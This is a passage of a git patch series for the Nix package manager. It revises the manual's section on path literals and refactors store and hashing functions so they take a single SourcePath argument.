`./builder.sh`. A path must contain at - least one slash to be recognised as such. For instance, `builder.sh` - is not a path: it's parsed as an expression that selects the - attribute `sh` from the variable `builder`. If the file name is - relative, i.e., if it does not begin with a slash, it is made - absolute at parse time relative to the [base directory](@docroot@/glossary.md#gloss-base-directory). - For instance, if a Nix expression in - `/foo/bar/bla.nix` refers to `../xyzzy/fnord.nix`, the absolute path - is `/foo/xyzzy/fnord.nix`. + *Paths* are distinct from strings and can be expressed by path literals such as `./builder.sh`. - If the first component of a path is a `~`, it is interpreted as if - the rest of the path were relative to the user's home directory. - e.g. `~/foo` would be equivalent to `/home/edolstra/foo` for a user - whose home directory is `/home/edolstra`. + Paths are the preferred type for referring to local files. + This is thanks to the following properties: + - Path values are always in a canonical form, so that you are relieved from trailing slashes, `.` and `..`. + - Path literals are automatically resolved relative to the location of the Nix expression file that contains them. + - Path values are automatically copied into the Nix store when used in a string interpolation or concatenation. + - Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file. - For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` in the base directory to be copied into the Nix store and result in the string `"/nix/store/-foo.txt"`. + A path literal must contain at least one slash to be recognised as such. + For instance, `builder.sh` is not a path: + it's parsed as an expression that selects the attribute `sh` from the variable `builder`. - Note that the Nix language assumes that all input files will remain _unchanged_ while evaluating a Nix expression. + Path literals may also refer to absolute paths by starting with a slash. + This is generally not recommended, because it makes the expression less portable. + In the case where a path literal is translated into an absolute path string for a configuration file, it is recommended to just use strings. + This avoids some confusion about whether files at that location will be used during evaluation, + and it avoids unintentional situations where some function might try to copy everything at the location into the store. + + If the first component of a path is a `~`, it is interpreted such that the rest of the path were relative to the user's home directory. + For example, `~/foo` would be equivalent to `/home/edolstra/foo` for a user whose home directory is `/home/edolstra`. + Path literals that start with `~` are not allowed in [pure](@docroot@/command-ref/conf-file.md#conf-pure-eval) evaluation. + + Paths can be used in [string interpolation] and string concatenation. + For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` from the same directory to be copied into the Nix store and result in the string `"/nix/store/-foo.txt"`. + + Note that the Nix language assumes that all input files will remain _unchanged_ while evaluating a Nix expression. For example, assume you used a file path in an interpolated string during a `nix repl` session. - Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. + Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. Use `:r` to reset the repl as needed. [store path]: @docroot@/glossary.md#gloss-store-path - Paths can include [string interpolation] and can themselves be [interpolated in other expressions]. + Path literals can also include [string interpolation], besides being [interpolated into other expressions]. - [interpolated in other expressions]: ./string-interpolation.md#interpolated-expressions + [interpolated into other expressions]: ./string-interpolation.md#interpolated-expressions At least one slash (`/`) must appear *before* any interpolated expression for the result to be recognized as a path. - `a.${foo}/b.${bar}` is a syntactically valid division operation. + `a.${foo}/b.${bar}` is a syntactically valid number division operation. `./a.${foo}/b.${bar}` is a path. - [Lookup paths](./constructs/lookup-path.md) such as `` resolve to path values. + [Lookup path](./constructs/lookup-path.md) literals such as `` also resolve to path values. - Boolean From 038573279c7ce17aeb5e51df0745599642f0be65 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 19 Apr 2024 15:05:40 +0200 Subject: [PATCH 0554/1251] doc/values: Refer to base directory definition --- doc/manual/src/language/values.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md index 2b5f9bf93..d15d52e73 100644 --- a/doc/manual/src/language/values.md +++ b/doc/manual/src/language/values.md @@ -97,7 +97,7 @@ Paths are the preferred type for referring to local files. This is thanks to the following properties: - Path values are always in a canonical form, so that you are relieved from trailing slashes, `.` and `..`. - - Path literals are automatically resolved relative to the location of the Nix expression file that contains them. + - Path literals are automatically resolved [relative to the file](@docroot@/glossary.md#gloss-base-directory). - Path values are automatically copied into the Nix store when used in a string interpolation or concatenation. - Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file. From 0eababb5f7eadc96bdca55239ae63f926b295c61 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Fri, 19 Apr 2024 16:55:23 +0200 Subject: [PATCH 0555/1251] doc: Edit Co-authored-by: Valentin Gagarin --- doc/manual/src/language/values.md | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md index d15d52e73..2dd52b379 100644 --- a/doc/manual/src/language/values.md +++ b/doc/manual/src/language/values.md @@ -94,11 +94,10 @@ *Paths* are distinct from strings and can be expressed by path literals such as `./builder.sh`. - Paths are the preferred type for referring to local files. - This is thanks to the following properties: - - Path values are always in a canonical form, so that you are relieved from trailing slashes, `.` and `..`. - - Path literals are automatically resolved [relative to the file](@docroot@/glossary.md#gloss-base-directory). - - Path values are automatically copied into the Nix store when used in a string interpolation or concatenation. + Paths are suitable for referring to local files, and are often preferable over strings. + - Path values do not contain trailing slashes, `.` and `..`, as they are resolved when evaluating a path literal. + - Path literals are automatically resolved relative to their [base directory](@docroot@/glossary.md#gloss-base-directory). + - The files referred to by path values are automatically copied into the Nix store when used in a string interpolation or concatenation. - Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file. A path literal must contain at least one slash to be recognised as such. @@ -106,10 +105,13 @@ it's parsed as an expression that selects the attribute `sh` from the variable `builder`. Path literals may also refer to absolute paths by starting with a slash. - This is generally not recommended, because it makes the expression less portable. - In the case where a path literal is translated into an absolute path string for a configuration file, it is recommended to just use strings. - This avoids some confusion about whether files at that location will be used during evaluation, - and it avoids unintentional situations where some function might try to copy everything at the location into the store. + + > **Note** + > + > Absolute paths make expressions less portable. + > In the case where a function translates a path literal into an absolute path string for a configuration file, it is recommended to write a string literal instead. + > This avoids some confusion about whether files at that location will be used during evaluation. + > It also avoids unintentional situations where some function might try to copy everything at the location into the store. If the first component of a path is a `~`, it is interpreted such that the rest of the path were relative to the user's home directory. For example, `~/foo` would be equivalent to `/home/edolstra/foo` for a user whose home directory is `/home/edolstra`. From eab2919119b8c41d70f62411d7e7dd972d6820da Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 6 May 2024 19:05:42 +0200 Subject: [PATCH 0556/1251] Use SourcePath in more places Now that SourcePath uses a SourceAccessor instead of an InputAccessor, we can use it in function signatures instead of passing a SourceAccessor and CanonPath separately. --- src/libfetchers/fetch-to-store.cc | 4 ++-- src/libfetchers/unix/mercurial.cc | 4 ++-- src/libstore/binary-cache-store.cc | 7 +++--- src/libstore/binary-cache-store.hh | 3 +-- src/libstore/legacy-ssh-store.hh | 3 +-- src/libstore/store-api.cc | 20 +++++++---------- src/libstore/store-api.hh | 6 ++--- src/libstore/store-dir-config.hh | 5 +++-- .../unix/build/local-derivation-goal.cc | 16 +++++--------- src/libstore/unix/build/worker.cc | 2 +- src/libstore/unix/local-store.cc | 10 ++++----- src/libstore/unix/optimise-store.cc | 6 ++--- src/libutil/archive.cc | 7 +++--- src/libutil/file-content-address.cc | 17 +++++++------- src/libutil/file-content-address.hh | 8 ++++--- src/libutil/git.cc | 22 +++++++++---------- src/libutil/git.hh | 14 ++++++------ src/libutil/posix-source-accessor.cc | 5 +++-- src/libutil/posix-source-accessor.hh | 4 +++- src/libutil/source-path.hh | 5 +++++ src/nix-store/nix-store.cc | 8 +++---- src/nix/add-to-store.cc | 4 ++-- src/nix/hash.cc | 11 +++++----- src/nix/prefetch.cc | 3 +-- tests/unit/libutil/git.cc | 16 +++++++------- 25 files changed, 101 insertions(+), 109 deletions(-) diff --git a/src/libfetchers/fetch-to-store.cc b/src/libfetchers/fetch-to-store.cc index c105fe1fc..4fce6180d 100644 --- a/src/libfetchers/fetch-to-store.cc +++ b/src/libfetchers/fetch-to-store.cc @@ -42,9 +42,9 @@ StorePath fetchToStore( auto storePath = mode == FetchMode::DryRun ? store.computeStorePath( - name, *path.accessor, path.path, method, HashAlgorithm::SHA256, {}, filter2).first + name, path, method, HashAlgorithm::SHA256, {}, filter2).first : store.addToStore( - name, *path.accessor, path.path, method, HashAlgorithm::SHA256, {}, filter2, repair); + name, path, method, HashAlgorithm::SHA256, {}, filter2, repair); if (cacheKey && mode == FetchMode::Copy) fetchers::getCache()->add(store, *cacheKey, {}, storePath, true); diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc index 4d95f54f0..838cb41bf 100644 --- a/src/libfetchers/unix/mercurial.cc +++ b/src/libfetchers/unix/mercurial.cc @@ -212,7 +212,7 @@ struct MercurialInputScheme : InputScheme auto storePath = store->addToStore( input.getName(), - *makeFSSourceAccessor(), CanonPath { actualPath }, + {makeFSSourceAccessor(), CanonPath(actualPath)}, FileIngestionMethod::Recursive, HashAlgorithm::SHA256, {}, filter); @@ -318,7 +318,7 @@ struct MercurialInputScheme : InputScheme deletePath(tmpDir + "/.hg_archival.txt"); - auto storePath = store->addToStore(name, *makeFSSourceAccessor(), CanonPath { tmpDir }); + auto storePath = store->addToStore(name, {makeFSSourceAccessor(), CanonPath(tmpDir)}); Attrs infoAttrs({ {"rev", input.getRev()->gitRev()}, diff --git a/src/libstore/binary-cache-store.cc b/src/libstore/binary-cache-store.cc index 97b6ec052..5153ca64f 100644 --- a/src/libstore/binary-cache-store.cc +++ b/src/libstore/binary-cache-store.cc @@ -442,8 +442,7 @@ void BinaryCacheStore::queryPathInfoUncached(const StorePath & storePath, StorePath BinaryCacheStore::addToStore( std::string_view name, - SourceAccessor & accessor, - const CanonPath & path, + const SourcePath & path, ContentAddressMethod method, HashAlgorithm hashAlgo, const StorePathSet & references, @@ -454,10 +453,10 @@ StorePath BinaryCacheStore::addToStore( non-recursive+sha256 so we can just use the default implementation of this method in terms of addToStoreFromDump. */ - auto h = hashPath(accessor, path, method.getFileIngestionMethod(), hashAlgo, filter); + auto h = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter); auto source = sinkToSource([&](Sink & sink) { - accessor.dumpPath(path, sink, filter); + path.dumpPath(sink, filter); }); return addToStoreCommon(*source, repair, CheckSigs, [&](HashResult nar) { ValidPathInfo info { diff --git a/src/libstore/binary-cache-store.hh b/src/libstore/binary-cache-store.hh index 7c2828309..695bc9252 100644 --- a/src/libstore/binary-cache-store.hh +++ b/src/libstore/binary-cache-store.hh @@ -133,8 +133,7 @@ public: StorePath addToStore( std::string_view name, - SourceAccessor & accessor, - const CanonPath & srcPath, + const SourcePath & path, ContentAddressMethod method, HashAlgorithm hashAlgo, const StorePathSet & references, diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh index ca2f115d2..343823693 100644 --- a/src/libstore/legacy-ssh-store.hh +++ b/src/libstore/legacy-ssh-store.hh @@ -60,8 +60,7 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor StorePath addToStore( std::string_view name, - SourceAccessor & accessor, - const CanonPath & srcPath, + const SourcePath & path, ContentAddressMethod method, HashAlgorithm hashAlgo, const StorePathSet & references, diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index 118e5de9f..008cc11e7 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -167,14 +167,13 @@ StorePath StoreDirConfig::makeFixedOutputPathFromCA(std::string_view name, const std::pair StoreDirConfig::computeStorePath( std::string_view name, - SourceAccessor & accessor, - const CanonPath & path, + const SourcePath & path, ContentAddressMethod method, HashAlgorithm hashAlgo, const StorePathSet & references, PathFilter & filter) const { - auto h = hashPath(accessor, path, method.getFileIngestionMethod(), hashAlgo, filter); + auto h = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter); return { makeFixedOutputPathFromCA( name, @@ -192,8 +191,7 @@ std::pair StoreDirConfig::computeStorePath( StorePath Store::addToStore( std::string_view name, - SourceAccessor & accessor, - const CanonPath & path, + const SourcePath & path, ContentAddressMethod method, HashAlgorithm hashAlgo, const StorePathSet & references, @@ -214,7 +212,7 @@ StorePath Store::addToStore( break; } auto source = sinkToSource([&](Sink & sink) { - dumpPath(accessor, path, sink, fsm, filter); + dumpPath(path, sink, fsm, filter); }); return addToStoreFromDump(*source, name, fsm, method, hashAlgo, references, repair); } @@ -343,8 +341,7 @@ digraph graphname { */ ValidPathInfo Store::addToStoreSlow( std::string_view name, - SourceAccessor & accessor, - const CanonPath & srcPath, + const SourcePath & srcPath, ContentAddressMethod method, HashAlgorithm hashAlgo, const StorePathSet & references, std::optional expectedCAHash) @@ -366,7 +363,7 @@ ValidPathInfo Store::addToStoreSlow( srcPath. The fact that we use scratchpadSink as a temporary buffer here is an implementation detail. */ auto fileSource = sinkToSource([&](Sink & scratchpadSink) { - accessor.dumpPath(srcPath, scratchpadSink); + srcPath.dumpPath(scratchpadSink); }); /* tapped provides the same data as fileSource, but we also write all the @@ -389,13 +386,12 @@ ValidPathInfo Store::addToStoreSlow( auto hash = method == FileIngestionMethod::Recursive && hashAlgo == HashAlgorithm::SHA256 ? narHash : method == FileIngestionMethod::Git - ? git::dumpHash(hashAlgo, accessor, srcPath).hash + ? git::dumpHash(hashAlgo, srcPath).hash : caHashSink.finish().first; if (expectedCAHash && expectedCAHash != hash) throw Error("hash mismatch for '%s'", srcPath); - ValidPathInfo info { *this, name, @@ -412,7 +408,7 @@ ValidPathInfo Store::addToStoreSlow( if (!isValidPath(info.path)) { auto source = sinkToSource([&](Sink & scratchpadSink) { - accessor.dumpPath(srcPath, scratchpadSink); + srcPath.dumpPath(scratchpadSink); }); addToStore(info, *source); } diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh index 5f683a211..ae8c22437 100644 --- a/src/libstore/store-api.hh +++ b/src/libstore/store-api.hh @@ -439,8 +439,7 @@ public: */ virtual StorePath addToStore( std::string_view name, - SourceAccessor & accessor, - const CanonPath & path, + const SourcePath & path, ContentAddressMethod method = FileIngestionMethod::Recursive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), @@ -454,8 +453,7 @@ public: */ ValidPathInfo addToStoreSlow( std::string_view name, - SourceAccessor & accessor, - const CanonPath & path, + const SourcePath & path, ContentAddressMethod method = FileIngestionMethod::Recursive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = StorePathSet(), diff --git a/src/libstore/store-dir-config.hh b/src/libstore/store-dir-config.hh index 7ca8c2665..643f8854d 100644 --- a/src/libstore/store-dir-config.hh +++ b/src/libstore/store-dir-config.hh @@ -13,6 +13,8 @@ namespace nix { +struct SourcePath; + MakeError(BadStorePath, Error); struct StoreDirConfig : public Config @@ -94,8 +96,7 @@ struct StoreDirConfig : public Config */ std::pair computeStorePath( std::string_view name, - SourceAccessor & accessor, - const CanonPath & path, + const SourcePath & path, ContentAddressMethod method = FileIngestionMethod::Recursive, HashAlgorithm hashAlgo = HashAlgorithm::SHA256, const StorePathSet & references = {}, diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 0ebd22c75..24f6897c6 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -1306,8 +1306,7 @@ struct RestrictedStore : public virtual RestrictedStoreConfig, public virtual In StorePath addToStore( std::string_view name, - SourceAccessor & accessor, - const CanonPath & srcPath, + const SourcePath & srcPath, ContentAddressMethod method, HashAlgorithm hashAlgo, const StorePathSet & references, @@ -2485,7 +2484,6 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() /* FIXME optimize and deduplicate with addToStore */ std::string oldHashPart { scratchPath->hashPart() }; auto got = [&]{ - PosixSourceAccessor accessor; auto fim = outputHash.method.getFileIngestionMethod(); switch (fim) { case FileIngestionMethod::Flat: @@ -2494,15 +2492,15 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() HashModuloSink caSink { outputHash.hashAlgo, oldHashPart }; auto fim = outputHash.method.getFileIngestionMethod(); dumpPath( - accessor, CanonPath { actualPath }, + {makeFSSourceAccessor(), CanonPath(actualPath)}, caSink, (FileSerialisationMethod) fim); return caSink.finish().first; } case FileIngestionMethod::Git: { return git::dumpHash( - outputHash.hashAlgo, accessor, - CanonPath { tmpDir + "/tmp" }).hash; + outputHash.hashAlgo, + {makeFSSourceAccessor(), CanonPath(tmpDir + "/tmp")}).hash; } } assert(false); @@ -2529,9 +2527,8 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() } { - PosixSourceAccessor accessor; HashResult narHashAndSize = hashPath( - accessor, CanonPath { actualPath }, + {makeFSSourceAccessor(), CanonPath(actualPath)}, FileSerialisationMethod::Recursive, HashAlgorithm::SHA256); newInfo0.narHash = narHashAndSize.first; newInfo0.narSize = narHashAndSize.second; @@ -2553,9 +2550,8 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() std::string { scratchPath->hashPart() }, std::string { requiredFinalPath.hashPart() }); rewriteOutput(outputRewrites); - PosixSourceAccessor accessor; HashResult narHashAndSize = hashPath( - accessor, CanonPath { actualPath }, + {makeFSSourceAccessor(), CanonPath(actualPath)}, FileSerialisationMethod::Recursive, HashAlgorithm::SHA256); ValidPathInfo newInfo0 { requiredFinalPath, narHashAndSize.first }; newInfo0.narSize = narHashAndSize.second; diff --git a/src/libstore/unix/build/worker.cc b/src/libstore/unix/build/worker.cc index 815ded3d5..03fc280a4 100644 --- a/src/libstore/unix/build/worker.cc +++ b/src/libstore/unix/build/worker.cc @@ -530,7 +530,7 @@ bool Worker::pathContentsGood(const StorePath & path) res = false; else { Hash current = hashPath( - *store.getFSAccessor(), CanonPath { store.printStorePath(path) }, + {store.getFSAccessor(), CanonPath(store.printStorePath(path))}, FileIngestionMethod::Recursive, info->narHash.algo); Hash nullHash(HashAlgorithm::SHA256); res = info->narHash == nullHash || info->narHash == current; diff --git a/src/libstore/unix/local-store.cc b/src/libstore/unix/local-store.cc index 1593affd6..7b3ba1347 100644 --- a/src/libstore/unix/local-store.cc +++ b/src/libstore/unix/local-store.cc @@ -1132,12 +1132,12 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source, specified.hash.algo, std::string { info.path.hashPart() }, }; - dumpPath(*accessor, path, caSink, (FileSerialisationMethod) fim); + dumpPath({accessor, path}, caSink, (FileSerialisationMethod) fim); h = caSink.finish().first; break; } case FileIngestionMethod::Git: - h = git::dumpHash(specified.hash.algo, *accessor, path).hash; + h = git::dumpHash(specified.hash.algo, {accessor, path}).hash; break; } ContentAddress { @@ -1247,14 +1247,12 @@ StorePath LocalStore::addToStoreFromDump( auto [dumpHash, size] = hashSink->finish(); - PosixSourceAccessor accessor; - auto desc = ContentAddressWithReferences::fromParts( hashMethod, methodsMatch ? dumpHash : hashPath( - accessor, CanonPath { tempPath }, + {makeFSSourceAccessor(), CanonPath(tempPath)}, hashMethod.getFileIngestionMethod(), hashAlgo), { .others = references, @@ -1394,7 +1392,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair) Path linkPath = linksDir + "/" + link.name; PosixSourceAccessor accessor; std::string hash = hashPath( - accessor, CanonPath { linkPath }, + {makeFSSourceAccessor(), CanonPath(linkPath)}, FileIngestionMethod::Recursive, HashAlgorithm::SHA256).to_string(HashFormat::Nix32, false); if (hash != link.name) { printError("link '%s' was modified! expected hash '%s', got '%s'", diff --git a/src/libstore/unix/optimise-store.cc b/src/libstore/unix/optimise-store.cc index daaaaf073..bedb77849 100644 --- a/src/libstore/unix/optimise-store.cc +++ b/src/libstore/unix/optimise-store.cc @@ -148,9 +148,8 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, contents of the symlink (i.e. the result of readlink()), not the contents of the target (which may not even exist). */ Hash hash = ({ - PosixSourceAccessor accessor; hashPath( - accessor, CanonPath { path }, + {make_ref(), CanonPath(path)}, FileSerialisationMethod::Recursive, HashAlgorithm::SHA256).first; }); debug("'%1%' has hash '%2%'", path, hash.to_string(HashFormat::Nix32, true)); @@ -163,9 +162,8 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, auto stLink = lstat(linkPath); if (st.st_size != stLink.st_size || (repair && hash != ({ - PosixSourceAccessor accessor; hashPath( - accessor, CanonPath { linkPath }, + {make_ref(), CanonPath(linkPath)}, FileSerialisationMethod::Recursive, HashAlgorithm::SHA256).first; }))) { diff --git a/src/libutil/archive.cc b/src/libutil/archive.cc index 351ee094b..04f777d00 100644 --- a/src/libutil/archive.cc +++ b/src/libutil/archive.cc @@ -8,6 +8,7 @@ #include "archive.hh" #include "config.hh" #include "posix-source-accessor.hh" +#include "source-path.hh" #include "file-system.hh" #include "signals.hh" @@ -110,9 +111,9 @@ void SourceAccessor::dumpPath( time_t dumpPathAndGetMtime(const Path & path, Sink & sink, PathFilter & filter) { - auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(path); - accessor.dumpPath(canonPath, sink, filter); - return accessor.mtime; + auto path2 = PosixSourceAccessor::createAtRoot(path); + path2.dumpPath(sink, filter); + return path2.accessor.dynamic_pointer_cast()->mtime; } void dumpPath(const Path & path, Sink & sink, PathFilter & filter) diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc index 570247b9e..769042d00 100644 --- a/src/libutil/file-content-address.cc +++ b/src/libutil/file-content-address.cc @@ -1,6 +1,7 @@ #include "file-content-address.hh" #include "archive.hh" #include "git.hh" +#include "source-path.hh" namespace nix { @@ -68,17 +69,17 @@ std::string_view renderFileIngestionMethod(FileIngestionMethod method) void dumpPath( - SourceAccessor & accessor, const CanonPath & path, + const SourcePath & path, Sink & sink, FileSerialisationMethod method, PathFilter & filter) { switch (method) { case FileSerialisationMethod::Flat: - accessor.readFile(path, sink); + path.readFile(sink); break; case FileSerialisationMethod::Recursive: - accessor.dumpPath(path, sink, filter); + path.dumpPath(sink, filter); break; } } @@ -101,27 +102,27 @@ void restorePath( HashResult hashPath( - SourceAccessor & accessor, const CanonPath & path, + const SourcePath & path, FileSerialisationMethod method, HashAlgorithm ha, PathFilter & filter) { HashSink sink { ha }; - dumpPath(accessor, path, sink, method, filter); + dumpPath(path, sink, method, filter); return sink.finish(); } Hash hashPath( - SourceAccessor & accessor, const CanonPath & path, + const SourcePath & path, FileIngestionMethod method, HashAlgorithm ht, PathFilter & filter) { switch (method) { case FileIngestionMethod::Flat: case FileIngestionMethod::Recursive: - return hashPath(accessor, path, (FileSerialisationMethod) method, ht, filter).first; + return hashPath(path, (FileSerialisationMethod) method, ht, filter).first; case FileIngestionMethod::Git: - return git::dumpHash(ht, accessor, path, filter).hash; + return git::dumpHash(ht, path, filter).hash; } assert(false); } diff --git a/src/libutil/file-content-address.hh b/src/libutil/file-content-address.hh index b361ab243..145a8fb1f 100644 --- a/src/libutil/file-content-address.hh +++ b/src/libutil/file-content-address.hh @@ -7,6 +7,8 @@ namespace nix { +struct SourcePath; + /** * An enumeration of the ways we can serialize file system * objects. @@ -45,7 +47,7 @@ std::string_view renderFileSerialisationMethod(FileSerialisationMethod method); * Dump a serialization of the given file system object. */ void dumpPath( - SourceAccessor & accessor, const CanonPath & path, + const SourcePath & path, Sink & sink, FileSerialisationMethod method, PathFilter & filter = defaultPathFilter); @@ -72,7 +74,7 @@ void restorePath( * ``` */ HashResult hashPath( - SourceAccessor & accessor, const CanonPath & path, + const SourcePath & path, FileSerialisationMethod method, HashAlgorithm ha, PathFilter & filter = defaultPathFilter); @@ -138,7 +140,7 @@ std::string_view renderFileIngestionMethod(FileIngestionMethod method); * useful defined for a merkle format. */ Hash hashPath( - SourceAccessor & accessor, const CanonPath & path, + const SourcePath & path, FileIngestionMethod method, HashAlgorithm ha, PathFilter & filter = defaultPathFilter); diff --git a/src/libutil/git.cc b/src/libutil/git.cc index a60589baa..8c538c988 100644 --- a/src/libutil/git.cc +++ b/src/libutil/git.cc @@ -8,7 +8,6 @@ #include "signals.hh" #include "config.hh" #include "hash.hh" -#include "posix-source-accessor.hh" #include "git.hh" #include "serialise.hh" @@ -269,18 +268,18 @@ void dumpTree(const Tree & entries, Sink & sink, Mode dump( - SourceAccessor & accessor, const CanonPath & path, + const SourcePath & path, Sink & sink, std::function hook, PathFilter & filter, const ExperimentalFeatureSettings & xpSettings) { - auto st = accessor.lstat(path); + auto st = path.lstat(); switch (st.type) { case SourceAccessor::tRegular: { - accessor.readFile(path, sink, [&](uint64_t size) { + path.readFile(sink, [&](uint64_t size) { dumpBlobPrefix(size, sink, xpSettings); }); return st.isExecutable @@ -291,9 +290,9 @@ Mode dump( case SourceAccessor::tDirectory: { Tree entries; - for (auto & [name, _] : accessor.readDirectory(path)) { + for (auto & [name, _] : path.readDirectory()) { auto child = path / name; - if (!filter(child.abs())) continue; + if (!filter(child.path.abs())) continue; auto entry = hook(child); @@ -309,7 +308,7 @@ Mode dump( case SourceAccessor::tSymlink: { - auto target = accessor.readLink(path); + auto target = path.readLink(); dumpBlobPrefix(target.size(), sink, xpSettings); sink(target); return Mode::Symlink; @@ -323,13 +322,14 @@ Mode dump( TreeEntry dumpHash( - HashAlgorithm ha, - SourceAccessor & accessor, const CanonPath & path, PathFilter & filter) + HashAlgorithm ha, + const SourcePath & path, + PathFilter & filter) { std::function hook; - hook = [&](const CanonPath & path) -> TreeEntry { + hook = [&](const SourcePath & path) -> TreeEntry { auto hashSink = HashSink(ha); - auto mode = dump(accessor, path, hashSink, hook, filter); + auto mode = dump(path, hashSink, hook, filter); auto hash = hashSink.finish().first; return { .mode = mode, diff --git a/src/libutil/git.hh b/src/libutil/git.hh index cfea48fbe..a65edb964 100644 --- a/src/libutil/git.hh +++ b/src/libutil/git.hh @@ -8,7 +8,7 @@ #include "types.hh" #include "serialise.hh" #include "hash.hh" -#include "source-accessor.hh" +#include "source-path.hh" #include "fs-sink.hh" namespace nix::git { @@ -125,7 +125,7 @@ std::optional convertMode(SourceAccessor::Type type); * Given a `Hash`, return a `SourceAccessor` and `CanonPath` pointing to * the file system object with that path. */ -using RestoreHook = std::pair(Hash); +using RestoreHook = SourcePath(Hash); /** * Wrapper around `parse` and `RestoreSink` @@ -157,10 +157,10 @@ void dumpTree( * Note that if the child is a directory, its child in must also be so * processed in order to compute this information. */ -using DumpHook = TreeEntry(const CanonPath & path); +using DumpHook = TreeEntry(const SourcePath & path); Mode dump( - SourceAccessor & accessor, const CanonPath & path, + const SourcePath & path, Sink & sink, std::function hook, PathFilter & filter = defaultPathFilter, @@ -172,9 +172,9 @@ Mode dump( * A smaller wrapper around `dump`. */ TreeEntry dumpHash( - HashAlgorithm ha, - SourceAccessor & accessor, const CanonPath & path, - PathFilter & filter = defaultPathFilter); + HashAlgorithm ha, + const SourcePath & path, + PathFilter & filter = defaultPathFilter); /** * A line from the output of `git ls-remote --symref`. diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index f7dffb871..f3551db42 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -1,4 +1,5 @@ #include "posix-source-accessor.hh" +#include "source-path.hh" #include "signals.hh" #include "sync.hh" @@ -17,11 +18,11 @@ PosixSourceAccessor::PosixSourceAccessor() : PosixSourceAccessor(std::filesystem::path {}) { } -std::pair PosixSourceAccessor::createAtRoot(const std::filesystem::path & path) +SourcePath PosixSourceAccessor::createAtRoot(const std::filesystem::path & path) { std::filesystem::path path2 = absPath(path.string()); return { - PosixSourceAccessor { path2.root_path() }, + make_ref(path2.root_path()), CanonPath { path2.relative_path().string() }, }; } diff --git a/src/libutil/posix-source-accessor.hh b/src/libutil/posix-source-accessor.hh index 717c8f017..40f60bb54 100644 --- a/src/libutil/posix-source-accessor.hh +++ b/src/libutil/posix-source-accessor.hh @@ -4,6 +4,8 @@ namespace nix { +struct SourcePath; + /** * A source accessor that uses the Unix filesystem. */ @@ -53,7 +55,7 @@ struct PosixSourceAccessor : virtual SourceAccessor * and * [`std::filesystem::path::relative_path`](https://en.cppreference.com/w/cpp/filesystem/path/relative_path). */ - static std::pair createAtRoot(const std::filesystem::path & path); + static SourcePath createAtRoot(const std::filesystem::path & path); private: diff --git a/src/libutil/source-path.hh b/src/libutil/source-path.hh index 7e4c3c65d..83ec6295d 100644 --- a/src/libutil/source-path.hh +++ b/src/libutil/source-path.hh @@ -41,6 +41,11 @@ struct SourcePath */ std::string readFile() const; + void readFile( + Sink & sink, + std::function sizeCallback = [](uint64_t size){}) const + { return accessor->readFile(path, sink, sizeCallback); } + /** * Return whether this `SourcePath` denotes a file (of any type) * that exists diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc index 719675cba..b23d99ad6 100644 --- a/src/nix-store/nix-store.cc +++ b/src/nix-store/nix-store.cc @@ -184,7 +184,7 @@ static void opAdd(Strings opFlags, Strings opArgs) for (auto & i : opArgs) { auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(i); cout << fmt("%s\n", store->printStorePath(store->addToStore( - std::string(baseNameOf(i)), accessor, canonPath))); + std::string(baseNameOf(i)), {accessor, canonPath}))); } } @@ -209,8 +209,7 @@ static void opAddFixed(Strings opFlags, Strings opArgs) auto [accessor, canonPath] = PosixSourceAccessor::createAtRoot(i); std::cout << fmt("%s\n", store->printStorePath(store->addToStoreSlow( baseNameOf(i), - accessor, - canonPath, + {accessor, canonPath}, method, hashAlgo).path)); } @@ -562,8 +561,7 @@ static void registerValidity(bool reregister, bool hashGiven, bool canonicalise) #endif if (!hashGiven) { HashResult hash = hashPath( - *store->getFSAccessor(false), CanonPath { store->printStorePath(info->path) }, - + {store->getFSAccessor(false), CanonPath { store->printStorePath(info->path) }}, FileSerialisationMethod::Recursive, HashAlgorithm::SHA256); info->narHash = hash.first; info->narSize = hash.second; diff --git a/src/nix/add-to-store.cc b/src/nix/add-to-store.cc 